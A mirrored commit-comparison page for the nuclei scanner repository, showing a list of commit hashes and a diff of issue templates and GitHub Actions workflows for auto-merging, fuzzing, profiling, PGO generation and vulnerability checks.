mirror of
https://github.com/projectdiscovery/nuclei.git
synced 2026-11-08 02:08:33 -10:00
Compare commits
489
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8ff0e52c0b | ||
|
|
fdd7bd1d66 | ||
|
|
138f546080 | ||
|
|
b04fc59ad0 | ||
|
|
2a11278647 | ||
|
|
83dbc85a08 | ||
|
|
764f5a9744 | ||
|
|
3e1e0e81f0 | ||
|
|
a2f9070f68 | ||
|
|
c07c84f1d1 | ||
|
|
d443462fda | ||
|
|
8bd6fabb04 | ||
|
|
98d264c8a7 | ||
|
|
d0d5100607 | ||
|
|
3f6e6931dd | ||
|
|
efd160c266 | ||
|
|
da279d42a3 | ||
|
|
f146fb3a06 | ||
|
|
6a5c443f95 | ||
|
|
71ccb1d568 | ||
|
|
a976ca8d3f | ||
|
|
6d6bfd7950 | ||
|
|
84b464e6bd | ||
|
|
85fb938c39 | ||
|
|
bb79d8ed71 | ||
|
|
7a8da3cd00 | ||
|
|
34866efc22 | ||
|
|
fd0aff232e | ||
|
|
265b3a3dec | ||
|
|
dc0ebd19a5 | ||
|
|
05e0e8387b | ||
|
|
f1007e48d3 | ||
|
|
a3f1367fcd | ||
|
|
1027207f5e | ||
|
|
73be40cae7 | ||
|
|
0df0976899 | ||
|
|
dd7153518e | ||
|
|
dfdfa5fd65 | ||
|
|
a8c88feb4a | ||
|
|
5bbca25bea | ||
|
|
64bc83e004 | ||
|
|
37bba07662 | ||
|
|
9de96e4dda | ||
|
|
4a6f7c5a86 | ||
|
|
379687596f | ||
|
|
890147c20e | ||
|
|
89c2054bc1 | ||
|
|
938b19d470 | ||
|
|
780e20b33a | ||
|
|
49f1d49a1d | ||
|
|
ba05210f16 | ||
|
|
e557207b41 | ||
|
|
4c7e1687ad | ||
|
|
479c8187a5 | ||
|
|
7936ec36d8 | ||
|
|
e6e558dc23 | ||
|
|
9d9012ce29 | ||
|
|
671b875d23 | ||
|
|
367dfdb436 | ||
|
|
ad1447b329 | ||
|
|
1f39f73e93 | ||
|
|
437897d054 | ||
|
|
31636218ee | ||
|
|
eb1bb88ce5 | ||
|
|
0ff225c1c8 | ||
|
|
5ba1d41108 | ||
|
|
6f5a8ec5d4 | ||
|
|
dd78cd5959 | ||
|
|
4d4b88f6ca | ||
|
|
e2e3574f59 | ||
|
|
250c2a5fd7 | ||
|
|
06ff996374 | ||
|
|
62d6adde14 | ||
|
|
16e4a7acc9 | ||
|
|
c6ef995875 | ||
|
|
89d43000cf | ||
|
|
63bfe19f40 | ||
|
|
f239d6e7c6 | ||
|
|
6e990151b4 | ||
|
|
6b66f91147 | ||
|
|
60f73840e5 | ||
|
|
6ecdb94740 | ||
|
|
7cab28d225 | ||
|
|
da2e6910d2 | ||
|
|
a12f7fb110 | ||
|
|
c2ac1d859f | ||
|
|
35a87ba411 | ||
|
|
bcf20899ec | ||
|
|
44e6f5445a | ||
|
|
6d81cc3b62 | ||
|
|
2710ba232b | ||
|
|
ce470c32f8 | ||
|
|
17092671a8 | ||
|
|
679ee5ef3a | ||
|
|
be21943ee4 | ||
|
|
f447c23a66 | ||
|
|
6d7a0fa435 | ||
|
|
4e422a9308 | ||
|
|
a360efc658 | ||
|
|
435ae4c042 | ||
|
|
0888e6244d | ||
|
|
c928dcc652 | ||
|
|
8171606055 | ||
|
|
a1291fa1ab | ||
|
|
bcd580703d | ||
|
|
9c47e6c122 | ||
|
|
23e7624f04 | ||
|
|
85723be139 | ||
|
|
25587f94b1 | ||
|
|
57db383502 | ||
|
|
e4a83ad38d | ||
|
|
fac0b7196d | ||
|
|
1427b35cdb | ||
|
|
ffd6e0b18d | ||
|
|
f9cf234c12 | ||
|
|
ccbfb12bd0 | ||
|
|
1e294aa7b9 | ||
|
|
d63d0228d0 | ||
|
|
77d8b42ee1 | ||
|
|
f82673434c | ||
|
|
2d840752c6 | ||
|
|
1512979e81 | ||
|
|
14b89f8714 | ||
|
|
8a02819c3b | ||
|
|
3a8b65cb45 | ||
|
|
4c03c29e45 | ||
|
|
7ed3c9ec15 | ||
|
|
9def9af7e3 | ||
|
|
638be4481d | ||
|
|
68daef44a7 | ||
|
|
323df47351 | ||
|
|
69c8d02cba | ||
|
|
a86c4faa82 | ||
|
|
0547616fa8 | ||
|
|
4cabca06f6 | ||
|
|
1fe6025b96 | ||
|
|
85abc4f90f | ||
|
|
9611926a9a | ||
|
|
1c440e755a | ||
|
|
c041bf2922 | ||
|
|
c0b1f4b3bf | ||
|
|
0d7855874f | ||
|
|
63124eff2c | ||
|
|
acff3e3c3a | ||
|
|
7f6096ee66 | ||
|
|
ffbb05b254 | ||
|
|
16743c6781 | ||
|
|
85e218a9cf | ||
|
|
da1212c304 | ||
|
|
f44027eb11 | ||
|
|
6b4b2d883b | ||
|
|
20cbf0bd73 | ||
|
|
ca2217548b | ||
|
|
7414bcbf89 | ||
|
|
1c961293b4 | ||
|
|
b625d9a706 | ||
|
|
2376f60c1e | ||
|
|
bbc010b637 | ||
|
|
0bc707a1f7 | ||
|
|
840c0ffe66 | ||
|
|
79105261bd | ||
|
|
1aff867491 | ||
|
|
3684849ac9 | ||
|
|
408ebe1d18 | ||
|
|
fa73d2e13e | ||
|
|
7ee7ccac49 | ||
|
|
fe70a10664 | ||
|
|
9330f0186d | ||
|
|
efcf23ce56 | ||
|
|
28752a7380 | ||
|
|
76bf0f3c16 | ||
|
|
ca0c237d10 | ||
|
|
d68a5ea5b2 | ||
|
|
be35ec6f36 | ||
|
|
6c1bf80a1a | ||
|
|
1ec64a3f95 | ||
|
|
b50980c4f3 | ||
|
|
33066e8ebc | ||
|
|
d56f5a75ce | ||
|
|
ce28f2028d | ||
|
|
5675f513ea | ||
|
|
0cc660ca2a | ||
|
|
609cf3daba | ||
|
|
f783605032 | ||
|
|
fbf7d0053f | ||
|
|
7bded8ae8d | ||
|
|
0fc90a6b87 | ||
|
|
f2c95ef887 | ||
|
|
d5d9eed0e3 | ||
|
|
ddcae35620 | ||
|
|
642887e985 | ||
|
|
44c63a84d8 | ||
|
|
db156370c4 | ||
|
|
b4a9e0a75a | ||
|
|
4f3e77f790 | ||
|
|
d65c7951d2 | ||
|
|
f3308fa1f3 | ||
|
|
940ca60ee3 | ||
|
|
0a7100bb85 | ||
|
|
ce50479fc3 | ||
|
|
65d08b33ef | ||
|
|
2da8669cb0 | ||
|
|
ed7cec560e | ||
|
|
397ffaaf41 | ||
|
|
89d0e65c1d | ||
|
|
805bcfe76f | ||
|
|
3e996ebc45 | ||
|
|
1f8dd03127 | ||
|
|
bdf75008fb | ||
|
|
54f002db4a | ||
|
|
7148ff9389 | ||
|
|
7926e22174 | ||
|
|
10831d6188 | ||
|
|
637036ecb2 | ||
|
|
a4da890fb0 | ||
|
|
a3c07e3ef9 | ||
|
|
86cc0926c9 | ||
|
|
b6385767be | ||
|
|
b99ce57ecc | ||
|
|
5450b03a99 | ||
|
|
cd1bfe8d87 | ||
|
|
e1f09e9959 | ||
|
|
a3b9a4724d | ||
|
|
ad4f3ffd57 | ||
|
|
c68d88d2bd | ||
|
|
3a2ab5ce45 | ||
|
|
aa52d85991 | ||
|
|
20355232b0 | ||
|
|
ad74c601c4 | ||
|
|
24af3d9587 | ||
|
|
6c888974e0 | ||
|
|
796d4302a5 | ||
|
|
1f20707c9a | ||
|
|
459c5cf97d | ||
|
|
c5c2127d28 | ||
|
|
73d2afc327 | ||
|
|
d305dd6f86 | ||
|
|
0383fbfcb8 | ||
|
|
a783a82686 | ||
|
|
f893b6c0cb | ||
|
|
0e67be77bc | ||
|
|
a2a27e57b7 | ||
|
|
ec5f6505c4 | ||
|
|
ad91d5d933 | ||
|
|
643a64c8f3 | ||
|
|
56e53cfb04 | ||
|
|
6c803c74d1 | ||
|
|
da17fa42e3 | ||
|
|
6f2ade6a9b | ||
|
|
4eb0b22ac4 | ||
|
|
1347c88342 | ||
|
|
75e67a5e89 | ||
|
|
a2fb27aae2 | ||
|
|
10cccb7f3c | ||
|
|
68e49a7981 | ||
|
|
c6fb1ae486 | ||
|
|
3537030e1f | ||
|
|
35146e0a43 | ||
|
|
4ae87beedd | ||
|
|
78dbaebd4a | ||
|
|
2e895d79ac | ||
|
|
cb0a9f4621 | ||
|
|
9e2366f21f | ||
|
|
aa529cdf63 | ||
|
|
a8c8645203 | ||
|
|
986aef46eb | ||
|
|
4177a48942 | ||
|
|
db06e2cb35 | ||
|
|
ab0199b410 | ||
|
|
c8a9853ff1 | ||
|
|
a86ee99ed6 | ||
|
|
e5e8dc7cdc | ||
|
|
233af2cd9e | ||
|
|
c2f3397fa4 | ||
|
|
49a0ffe796 | ||
|
|
9cc8456902 | ||
|
|
406ad1a5fa | ||
|
|
18ab9175cf | ||
|
|
3a004d1d46 | ||
|
|
4344080739 | ||
|
|
625d68301f | ||
|
|
3d259eb872 | ||
|
|
e4edd5a8c9 | ||
|
|
f70353b053 | ||
|
|
35e7d6ee29 | ||
|
|
54cc7d20cc | ||
|
|
2f03145f5d | ||
|
|
6eda56f389 | ||
|
|
48e05ca32e | ||
|
|
3bcf21d398 | ||
|
|
63d0df9506 | ||
|
|
d5eafebad2 | ||
|
|
22e325f13e | ||
|
|
29ae75b7dc | ||
|
|
199c0e4d00 | ||
|
|
5e8ef276a0 | ||
|
|
658df54f48 | ||
|
|
0ae6d9040c | ||
|
|
67e880691b | ||
|
|
9caa62ebd5 | ||
|
|
35e6e943b1 | ||
|
|
f480e863c1 | ||
|
|
c56fe37743 | ||
|
|
06c228d38a | ||
|
|
032fc8d9b2 | ||
|
|
3ec23a9505 | ||
|
|
2e5ed57bf9 | ||
|
|
baddf6aeb7 | ||
|
|
42b7a11f2c | ||
|
|
34977389f9 | ||
|
|
95258ec315 | ||
|
|
2dad77adaf | ||
|
|
31f53a87f5 | ||
|
|
d221732016 | ||
|
|
b0998529c6 | ||
|
|
bc37a26d10 | ||
|
|
44ef9ce34f | ||
|
|
e38953da4a | ||
|
|
979c867301 | ||
|
|
ef4bb2273d | ||
|
|
2b3cb3e74d | ||
|
|
a22ead4acb | ||
|
|
0d5dc6d8d9 | ||
|
|
049b4f2a84 | ||
|
|
0d4c4cb6de | ||
|
|
6b4a9c4b06 | ||
|
|
31ba00cc44 | ||
|
|
63e5492ce3 | ||
|
|
b5cb4ccb6c | ||
|
|
da97a745d8 | ||
|
|
1fe5647973 | ||
|
|
29561766a8 | ||
|
|
c40fec06ae | ||
|
|
20a565fd9e | ||
|
|
824668036a | ||
|
|
f9b21a7ca3 | ||
|
|
61dd5d2802 | ||
|
|
18b4981ca7 | ||
|
|
b53ec96e99 | ||
|
|
5dd94cb9b9 | ||
|
|
2d8e4031cc | ||
|
|
870ad4607d | ||
|
|
d7dea30cd5 | ||
|
|
2f315237d5 | ||
|
|
a2e49abfab | ||
|
|
50996a7481 | ||
|
|
b84480ae18 | ||
|
|
c159e62681 | ||
|
|
884d0b5bed | ||
|
|
51205f8470 | ||
|
|
70ac8bf72b | ||
|
|
bde0272084 | ||
|
|
17e9f42949 | ||
|
|
99c2fad3f3 | ||
|
|
b2ab7d3fea | ||
|
|
11a1baf12f | ||
|
|
73507cde1c | ||
|
|
2d0076ec20 | ||
|
|
1556d08bb7 | ||
|
|
c27c47420f | ||
|
|
9142eae3a7 | ||
|
|
ef650defb6 | ||
|
|
72b6919047 | ||
|
|
7ab71db320 | ||
|
|
10421e9d00 | ||
|
|
0b9665df49 | ||
|
|
7ce4917afd | ||
|
|
44494e6362 | ||
|
|
e4a1d48336 | ||
|
|
50c1b3afd3 | ||
|
|
002b58da7b | ||
|
|
b31307605d | ||
|
|
d771daa564 | ||
|
|
eee0bf373c | ||
|
|
6a111783bc | ||
|
|
50e3131d86 | ||
|
|
a2dfb84b3e | ||
|
|
2e1a81e6e9 | ||
|
|
567794f7c9 | ||
|
|
bffb8694f7 | ||
|
|
75525ed431 | ||
|
|
8aa427a6ea | ||
|
|
d642eda948 | ||
|
|
a21cb2a561 | ||
|
|
4a8b83f977 | ||
|
|
e514c31492 | ||
|
|
a91942bc94 | ||
|
|
5374bbce0c | ||
|
|
c58a78604b | ||
|
|
ae2578fdb4 | ||
|
|
3ca3c16897 | ||
|
|
39f67eda1b | ||
|
|
52bade5a39 | ||
|
|
4534e9cb30 | ||
|
|
ee8287a7b7 | ||
|
|
9c951a2ee1 | ||
|
|
6a509fa1c7 | ||
|
|
615f1d980a | ||
|
|
261982203b | ||
|
|
75e931f17e | ||
|
|
9d03817868 | ||
|
|
6cd2749335 | ||
|
|
bfffb3b7d4 | ||
|
|
1d3a279466 | ||
|
|
f549a36740 | ||
|
|
e0fdba39e2 | ||
|
|
a0dbf5e7ec | ||
|
|
0ab779b90f | ||
|
|
79d51ffc10 | ||
|
|
64b4c59545 | ||
|
|
c9c4bcf625 | ||
|
|
ab9c60e6db | ||
|
|
201bec2851 | ||
|
|
108265431c | ||
|
|
a215d7193b | ||
|
|
7b3331d090 | ||
|
|
942f9f09f5 | ||
|
|
aa16e5e82e | ||
|
|
221dfcef35 | ||
|
|
286fc91e83 | ||
|
|
826f04e202 | ||
|
|
c5365a82f8 | ||
|
|
915e9dc03f | ||
|
|
20e063e306 | ||
|
|
46c183ef22 | ||
|
|
f7f34e80a1 | ||
|
|
dbeebdaa1d | ||
|
|
891dffb4a1 | ||
|
|
337b4e77aa | ||
|
|
63aed75474 | ||
|
|
4de2bdb883 | ||
|
|
02434b5537 | ||
|
|
1eaecb633a | ||
|
|
2d3168b79f | ||
|
|
880898f312 | ||
|
|
5500ceb877 | ||
|
|
05ff121b76 | ||
|
|
73ad95068c | ||
|
|
592b689b15 | ||
|
|
22b64b6702 | ||
|
|
8b3485abff | ||
|
|
0d4edc7841 | ||
|
|
496a71aea1 | ||
|
|
49309b4ac8 | ||
|
|
22469bdc2f | ||
|
|
12176d67a9 | ||
|
|
0eb87c2621 | ||
|
|
78e90e300d | ||
|
|
5d79201299 | ||
|
|
3fdc06bce3 | ||
|
|
329a891069 | ||
|
|
c8c9967e18 | ||
|
|
d19c364e38 | ||
|
|
0c125e2224 | ||
|
|
0ab06cc4bf | ||
|
|
7945b8591c | ||
|
|
664a01ee78 | ||
|
|
bb79a061bc | ||
|
|
d48c2c38fa | ||
|
|
e25279255a | ||
|
|
c80ac99a34 | ||
|
|
2d4459d050 | ||
|
|
e3d32584ff | ||
|
|
39a07ca15e | ||
|
|
a7df69749e | ||
|
|
746a05dac5 | ||
|
|
526e4689c2 | ||
|
|
8a583bf9ca | ||
|
|
127e03f572 | ||
|
|
b33fa0c9b4 | ||
|
|
85a7b3d9a1 | ||
|
|
ee597a824b | ||
|
+1 |
24d1f58682 | ||
|
|
683bc04106 | ||
|
|
ce6070d979 | ||
|
|
6c8dba0964 | ||
|
+18 |
fdaf19b09d | ||
|
|
6a1451f8b6 | ||
|
|
0b98417d7c | ||
|
|
d5e65d1afe | ||
|
|
b87715a191 | ||
|
|
eff7931ec2 | ||
|
|
0c8fb50b7d | ||
|
|
9fef94adc5 | ||
|
|
1019952294 | ||
|
|
5bff7a2a90 | ||
|
|
a00b24d2c3 | ||
|
|
113d3b98fa | ||
|
|
e3c6849a6c |
No files matched your search
@@ -36,7 +36,10 @@ body:
|
||||
description: |
|
||||
Steps to reproduce the behavior, for example, commands to run Nuclei.
|
||||
|
||||
📝 For a more detailed output that could help in troubleshooting, you may want to run Nuclei with the **`-verbose`** or **`-debug`** flags. This will provide additional insights into what's happening under the hood.
|
||||
💡 Prefer copying text output over using screenshots for easier troubleshooting.
|
||||
|
||||
📝 For a more detailed output that could help in troubleshooting, you may want to run Nuclei with the **`-verbose`** or **`-debug`** flags. This will provide additional insights into what's happening under the hood.<br>
|
||||
📊 For performance or memory investigations, use **`-profile-mem`**, which generates `*.cpu`, `*.mem`, and `*.trace` files. Since GitHub doesn't support these formats directly, compress them (e.g., .zip or .tar.gz) and attach the archive under the "Anything else" section below.
|
||||
|
||||
:warning: **Please redact any literal target hosts/URLs or other sensitive information.**
|
||||
placeholder: |
|
||||
@@ -49,7 +52,10 @@ body:
|
||||
description: |
|
||||
Please copy and paste any relevant log output. This will be automatically formatted into code, so no need for backticks.
|
||||
|
||||
📝 For a more detailed output that could help in troubleshooting, you may want to run Nuclei with the **`-verbose`** or **`-debug`** flags. This will provide additional insights into what's happening under the hood.
|
||||
💡 Prefer copying text output over using screenshots for easier troubleshooting.
|
||||
|
||||
📝 For a more detailed output that could help in troubleshooting, you may want to run Nuclei with the **`-verbose`** or **`-debug`** flags. This will provide additional insights into what's happening under the hood.<br>
|
||||
📊 For performance or memory investigations, use **`-profile-mem`**, which generates `*.cpu`, `*.mem`, and `*.trace` files. Since GitHub doesn't support these formats directly, compress them (e.g., .zip or .tar.gz) and attach the archive under the "Anything else" section below.
|
||||
|
||||
:warning: **Please redact any literal target hosts/URLs or other sensitive information.**
|
||||
render: shell
|
||||
@@ -58,9 +64,9 @@ body:
|
||||
label: Environment
|
||||
description: |
|
||||
Examples:
|
||||
- **OS**: Ubuntu 20.04
|
||||
- **Nuclei** (`nuclei -version`): v3.3.1
|
||||
- **Go** (`go version`): go1.22.0 _(only if you've installed it via the `go install` command)_
|
||||
- **OS**: Ubuntu 24.04
|
||||
- **Nuclei** (`nuclei -version`): v3.6.0
|
||||
- **Go** (`go version`): go1.24.0 _(only if you've installed it via the `go install` command)_
|
||||
value: |
|
||||
- OS:
|
||||
- Nuclei:
|
||||
@@ -72,7 +78,7 @@ body:
|
||||
attributes:
|
||||
label: Anything else?
|
||||
description: |
|
||||
Links? References? Templates? Anything that will give us more context about the issue you are encountering!
|
||||
Links? References? Templates? CPU, memory, and trace profiles? Anything that will give us more context about the issue you are encountering!
|
||||
|
||||
Tip: You can attach images or log files by clicking this area to highlight it and then dragging files in.
|
||||
validations:
|
||||
|
||||
@@ -2,6 +2,9 @@
|
||||
|
||||
<!-- Describe the overall picture of your modifications to help maintainers understand the pull request. PRs are required to be associated to their related issue tickets or feature request. -->
|
||||
|
||||
### Proof
|
||||
|
||||
<!-- How has this been tested? Please describe the tests that you ran to verify your changes. -->
|
||||
|
||||
## Checklist
|
||||
|
||||
|
||||
@@ -1,28 +1,24 @@
|
||||
name: 🤖 Auto Merge
|
||||
name: 🔀 Auto merge PR
|
||||
|
||||
on:
|
||||
pull_request_review:
|
||||
types: [submitted]
|
||||
# pull_request:
|
||||
# types: [opened, synchronize, reopened, ready_for_review]
|
||||
# pull_request_review:
|
||||
# types: [submitted]
|
||||
workflow_run:
|
||||
workflows: ["♾️ Compatibility Check"]
|
||||
types:
|
||||
- completed
|
||||
workflows: ["♾️ Compatibility Checks"]
|
||||
types: [completed]
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
pull-requests: write
|
||||
issues: write
|
||||
repository-projects: write
|
||||
|
||||
jobs:
|
||||
auto-merge:
|
||||
auto-merge-dependabot:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.actor == 'dependabot[bot]'
|
||||
if: ${{ github.event.workflow_run.conclusion == 'success' }}
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: projectdiscovery/actions/pr/approve@v1
|
||||
- uses: projectdiscovery/actions/pr/merge@v1
|
||||
with:
|
||||
token: ${{ secrets.DEPENDABOT_PAT }}
|
||||
|
||||
- uses: ahmadnassri/action-dependabot-auto-merge@v2
|
||||
with:
|
||||
github-token: ${{ secrets.DEPENDABOT_PAT }}
|
||||
target: all
|
||||
auto: "true"
|
||||
@@ -7,13 +7,14 @@ on:
|
||||
- dev
|
||||
|
||||
jobs:
|
||||
check:
|
||||
if: github.actor == 'dependabot[bot]'
|
||||
compat-checks:
|
||||
if: ${{ github.actor == 'dependabot[bot]' }}
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: actions/checkout@v7
|
||||
- uses: projectdiscovery/actions/setup/go/compat-checks@v1
|
||||
with:
|
||||
go-version: "stable"
|
||||
release-test: true
|
||||
@@ -0,0 +1,61 @@
|
||||
name: 📊 Flamegraph
|
||||
|
||||
on:
|
||||
workflow_call: {}
|
||||
|
||||
jobs:
|
||||
flamegraph:
|
||||
name: "Flamegraph"
|
||||
env:
|
||||
GITHUB_TOKEN: "${{ github.token }}"
|
||||
PROFILE_MEM: "/tmp/nuclei-profile"
|
||||
TARGET_URL: "http://honey.scanme.sh/-/?foo=bar"
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- uses: projectdiscovery/nuclei-action/cache@v3
|
||||
- run: make build
|
||||
|
||||
- name: "Setup environment (push)"
|
||||
if: ${{ github.event_name == 'push' }}
|
||||
run: |
|
||||
echo "PROFILE_MEM=${PROFILE_MEM}-${GITHUB_REF_NAME}-${GITHUB_SHA}" >> $GITHUB_ENV
|
||||
echo "FLAMEGRAPH_NAME=nuclei-${GITHUB_REF_NAME} (${GITHUB_SHA})" >> $GITHUB_ENV
|
||||
- name: "Setup environment (pull_request)"
|
||||
if: ${{ github.event_name == 'pull_request' }}
|
||||
run: |
|
||||
echo "PROFILE_MEM=${PROFILE_MEM}-pr-${{ github.event.number }}" >> $GITHUB_ENV
|
||||
echo "FLAMEGRAPH_NAME=nuclei (PR #${{ github.event.number }})" >> $GITHUB_ENV
|
||||
|
||||
- run: ./bin/nuclei -update-templates
|
||||
- run: |
|
||||
./bin/nuclei -silent -target="${TARGET_URL}" \
|
||||
-disable-update-check \
|
||||
-no-mhe -no-httpx \
|
||||
-code -dast -file -headless \
|
||||
-enable-self-contained -enable-global-matchers \
|
||||
-rate-limit=0 \
|
||||
-concurrency=250 \
|
||||
-headless-concurrency=100 \
|
||||
-payload-concurrency=250 \
|
||||
-bulk-size=250 \
|
||||
-headless-bulk-size=100 \
|
||||
-profile-mem="${PROFILE_MEM}"
|
||||
|
||||
- uses: projectdiscovery/actions/flamegraph@v1
|
||||
id: flamegraph-cpu
|
||||
with:
|
||||
profile: "${{ env.PROFILE_MEM }}.cpu"
|
||||
name: "${{ env.FLAMEGRAPH_NAME }} CPU profiles"
|
||||
continue-on-error: true
|
||||
- uses: projectdiscovery/actions/flamegraph@v1
|
||||
id: flamegraph-mem
|
||||
with:
|
||||
profile: "${{ env.PROFILE_MEM }}.mem"
|
||||
name: "${{ env.FLAMEGRAPH_NAME }} memory profiles"
|
||||
continue-on-error: true
|
||||
- if: ${{ steps.flamegraph-mem.outputs.message == '' }}
|
||||
run: |
|
||||
echo "::notice::CPU flamegraph: ${{ steps.flamegraph-cpu.outputs.url }}"
|
||||
echo "::notice::Memory (heap) flamegraph: ${{ steps.flamegraph-mem.outputs.url }}"
|
||||
@@ -0,0 +1,54 @@
|
||||
name: 🧪 Fuzz
|
||||
|
||||
on:
|
||||
schedule:
|
||||
- cron: '0 3 * * 0' # Weekly
|
||||
workflow_dispatch: {}
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
discover-packages:
|
||||
name: Discover fuzz packages
|
||||
if: ${{ github.event_name != 'schedule' || github.repository == 'projectdiscovery/nuclei' }}
|
||||
runs-on: ubuntu-latest
|
||||
outputs:
|
||||
matrix: ${{ steps.discover.outputs.matrix }}
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
with:
|
||||
go-version-file: go.tool.mod
|
||||
cache-dependency-path: go.tool.sum
|
||||
- id: discover
|
||||
run: make discover-fuzz-packages
|
||||
|
||||
fuzz:
|
||||
name: Fuzz ${{ matrix.pkg }}
|
||||
needs: discover-packages
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 35
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix: ${{ fromJson(needs.discover-packages.outputs.matrix) }}
|
||||
env:
|
||||
GOFUZZ_PACKAGE: ${{ matrix.pkg }}
|
||||
FUZZ_DURATION: 15m
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
with:
|
||||
go-version-file: go.tool.mod
|
||||
cache-dependency-path: go*sum # go.sum + go.tool.sum
|
||||
- id: fuzz
|
||||
run: make fuzz-ci GOFUZZ_PACKAGE="${GOFUZZ_PACKAGE}" FUZZ_DURATION="${FUZZ_DURATION}"
|
||||
- if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: ${{ steps.fuzz.outputs.artifact_name }}
|
||||
path: ${{ matrix.pkg }}/.gofuzz
|
||||
if-no-files-found: warn
|
||||
overwrite: true
|
||||
retention-days: 14
|
||||
@@ -4,14 +4,14 @@ on:
|
||||
push:
|
||||
branches:
|
||||
- dev
|
||||
workflow_dispatch:
|
||||
workflow_dispatch: {}
|
||||
|
||||
jobs:
|
||||
publish-docs:
|
||||
if: "${{ !endsWith(github.actor, '[bot]') }}"
|
||||
if: ${{ !endsWith(github.actor, '[bot]') }}
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: actions/checkout@v7
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- uses: projectdiscovery/actions/setup/git@v1
|
||||
- run: make syntax-docs
|
||||
|
||||
@@ -1,56 +1,50 @@
|
||||
name: 👤 Generate PGO
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: ["dev"]
|
||||
paths:
|
||||
- '**.go'
|
||||
- '**.mod'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}
|
||||
cancel-in-progress: true
|
||||
|
||||
# TODO(dwisiswant0): https://go.dev/doc/pgo#merging-profiles
|
||||
workflow_dispatch: {}
|
||||
workflow_call: {}
|
||||
|
||||
jobs:
|
||||
pgo:
|
||||
strategy:
|
||||
matrix:
|
||||
targets: [150]
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository == 'projectdiscovery/nuclei'
|
||||
permissions:
|
||||
contents: write
|
||||
env:
|
||||
GITHUB_TOKEN: "${{ github.token }}"
|
||||
PGO_FILE: "cmd/nuclei/default.pgo"
|
||||
LIST_FILE: "/tmp/targets-${{ matrix.targets }}.txt"
|
||||
PROFILE_MEM: "/tmp/nuclei-profile-${{ matrix.targets }}-targets"
|
||||
TARGET: "https://honey.scanme.sh"
|
||||
TARGET_COUNT: "100"
|
||||
TARGET_LIST: "/tmp/targets.txt"
|
||||
PROFILE_MEM: "/tmp/nuclei-profile"
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: projectdiscovery/actions/setup/git@v1
|
||||
- uses: actions/checkout@v7
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- uses: projectdiscovery/actions/cache/nuclei@v1
|
||||
- name: Generate list
|
||||
run: for i in {1..${{ matrix.targets }}}; do echo "https://honey.scanme.sh/?_=${i}" >> "${LIST_FILE}"; done
|
||||
# NOTE(dwisiswant0): use `-no-mhe` flag to get better samples.
|
||||
- run: go run . -l "${LIST_FILE}" -profile-mem="${PROFILE_MEM}" -no-mhe
|
||||
working-directory: cmd/nuclei/
|
||||
- run: mv "${PROFILE_MEM}.cpu" ${PGO_FILE}
|
||||
# NOTE(dwisiswant0): shall we prune $PGO_FILE git history?
|
||||
# if we prune it, this won't be linear since it requires a force-push.
|
||||
# if we don't, the git objects will just keep growing bigger.
|
||||
#
|
||||
# Ref:
|
||||
# - https://go.dev/blog/pgo#:~:text=We%20recommend%20committing%20default.pgo%20files%20to%20your%20repository
|
||||
# - https://gist.github.com/nottrobin/5758221
|
||||
- uses: projectdiscovery/actions/commit@v1
|
||||
with:
|
||||
files: "${PGO_FILE}"
|
||||
message: "build: update PGO profile :robot:"
|
||||
- run: git push origin $GITHUB_REF
|
||||
- uses: actions/upload-artifact@v6
|
||||
- uses: projectdiscovery/nuclei-action/cache@v3
|
||||
- run: |
|
||||
for i in {1..${{ env.TARGET_COUNT }}}; do
|
||||
echo "${{ env.TARGET }}/-/?_=${i}" >> "${{ env.TARGET_LIST }}";
|
||||
done
|
||||
- run: make build
|
||||
- run: ./bin/nuclei -update-templates
|
||||
- run: |
|
||||
./bin/nuclei -silent -list="${TARGET_LIST}" \
|
||||
-disable-update-check \
|
||||
-no-mhe -no-httpx \
|
||||
-code -dast -file -headless \
|
||||
-enable-self-contained -enable-global-matchers \
|
||||
-rate-limit=0 \
|
||||
-concurrency=250 \
|
||||
-headless-concurrency=100 \
|
||||
-payload-concurrency=250 \
|
||||
-bulk-size=250 \
|
||||
-headless-bulk-size=100 \
|
||||
-profile-mem="${PROFILE_MEM}" \
|
||||
env:
|
||||
DISABLE_STDOUT: "1"
|
||||
- run: mv "${PROFILE_MEM}.cpu" "${PGO_FILE}"
|
||||
- uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: "pgo"
|
||||
path: "${{ env.PGO_FILE }}"
|
||||
overwrite: true
|
||||
@@ -3,7 +3,7 @@ name: 🐛 govulncheck
|
||||
on:
|
||||
schedule:
|
||||
- cron: '0 0 * * 0' # Weekly
|
||||
workflow_dispatch:
|
||||
workflow_dispatch: {}
|
||||
|
||||
jobs:
|
||||
govulncheck:
|
||||
@@ -16,10 +16,14 @@ jobs:
|
||||
env:
|
||||
OUTPUT: "/tmp/results.sarif"
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: actions/checkout@v7
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- run: go install golang.org/x/vuln/cmd/govulncheck@latest
|
||||
- run: govulncheck -scan package -format sarif ./... > $OUTPUT
|
||||
with:
|
||||
go-version-file: go.tool.mod
|
||||
